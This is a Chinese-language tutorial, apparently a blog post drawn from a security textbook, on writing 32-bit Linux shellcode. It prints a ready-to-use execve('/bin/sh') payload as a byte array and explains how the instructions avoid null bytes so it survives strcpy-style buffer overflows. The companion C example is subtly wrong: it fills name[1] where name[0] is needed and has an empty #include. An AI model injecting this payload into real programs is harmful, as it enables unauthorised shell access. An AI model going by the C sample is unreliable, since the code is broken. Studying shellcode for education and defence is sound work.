如何写一个shellcode

什么样的shellcode可以起到最大的破坏,那就是能够满足攻击者各种各样需要的shellcode,怎么才能满足各种各样的需要呢?调用shell。
如何写一个shellcode,以需要execve()系统调用的shellcode为例:

  • %eax:eax寄存器需要存储11,这是execve()的系统调用号(system call number)
  • %ebx:存储控制字符串“/bin/sh”的地址(execve()的第一个参数)
  • %ecx:存储参数数组的地址(execve()的第二个参数)
  • %edx:存储环境变量数组的地址,不需要时可以置0

参考《Computer Security:A Hand-on Approach 》,有如下shellcode,

char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

如上shellcode类似于如下c代码,即通过execve()系统调用,执行/bin/sh,生成shell

#include 
void main()
{
	char *name[2];
	name[1]="/bin/sh";
	name[2]=NULL;
	execve(name[0],name,NULL);
}

(1)xorl %eax,%eax :使用xor指令清空eax,即使eax=0,不可以使用movl 0,%eax,因为会在shellcode中引入’0’,一些存在bufferoverflow的函数,如strcpy(),都是在源字符串中检测’0’,若遇到‘0’,默认为字符串结束,则之后的字符串不会被拷贝。
(2)pushl %eax :将0入栈,标记了"/bin/sh"的结尾,用pushl也可以避免在shellcode中引入’0’
(3)pushl $0x68732f2f:传递"/sh",为了4字节对齐,使用//sh,这在execve()中等同于/sh
(4)pushl $0x6e69622f:传递“/bin”,为4个字节。
(5)movl %esp,%ebx :此时esp指向了"/bin/sh",通过esp将该字符串的值传递给ebx
(6)pushl %eax
         pushl %ebx :在栈中构造Name数组,ebx存储了"/bin/sh"字符串的地址,eax中为0,作为Name[1];
(7)movl %esp,%ecx :esp指向构造的Name数组,将其保存在ecx中
(8)cdq :清空edx,edx中存放环境变量,0代表不传递环境变量,也可以使用xorl %edx %edx,但是该指令更长。
(9)movb $0x0b,%al
          int $0x80:eax存储系统调用号11(0x0b),int指令调用系统调用

你可能感兴趣的:(漏洞)